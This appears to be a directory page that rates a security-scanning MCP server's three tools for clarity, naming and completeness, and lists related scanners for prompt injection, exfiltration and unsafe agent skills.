Each tool has a clearly distinct purpose: scan_component evaluates one component, diff_components compares two versions, and list_rules looks up detection rules. There is no meaningful overlap in action or output, and the descriptions explicitly clarify when to use each.

Naming Consistency5/5

All tool names follow a consistent snake_case verb_noun pattern: scan_component, diff_components, list_rules. The verbs accurately reflect the operations and no mixed conventions are present.

Tool Count4/5

Three tools is a focused and coherent surface for a security scanning server, with each tool earning its place. It is slightly thin, as additional operations like batch scanning or report retrieval might be expected, but nothing feels extraneous.

Completeness4/5

The surface covers the core lifecycle: scanning a component, comparing versions, and inspecting rules behind findings. Minor gaps exist, such as no batch scanning, scan history, or direct export of reports, but these are workaroundable and not central to the stated purpose.

Maintenance

ActivityNo data
ResponsivenessNo issues

Related MCP Connectors

Related MCP Servers

  • A
    license
    B
    quality
    F
    maintenance
    An MCP server that provides a comprehensive interface to Semgrep, enabling users to scan code for security vulnerabilities, create custom rules, and analyze scan results through the Model Context Protocol.
    6
    3,649 PyPI
    687
    MIT
  • A
    license
    Not graded
    quality
    C
    maintenance
    Security scanner for MCP servers — vet an MCP before you wire it into an agent. Detects prompt-injection, credential exfiltration (via taint analysis), RCE, and supply-chain risks, and catches cross-server exfil chains no single server reveals. Zero-dependency local CLI, SARIF output, CI-gateable, no account.
    52 npm
    MIT
  • A
    license
    C
    quality
    D
    maintenance
    Security scanner and MCP server that catches dangerous patterns in MCP servers and AI agent projects, such as leaked secrets, shell execution, and prompt-injection text. Runs as both a CLI and MCP server with CI-friendly severity gates.
    2
    1
    MIT
  • A
    license
    Not graded
    quality
    C
    maintenance
    Audits AI agent skills for safety using static, semantic, adversarial, and supply-chain analysis, providing scores and risk flags. Can be run via CLI, CI, or as an MCP tool from Claude Code, Cursor, and Codex.
    2
    Apache 2.0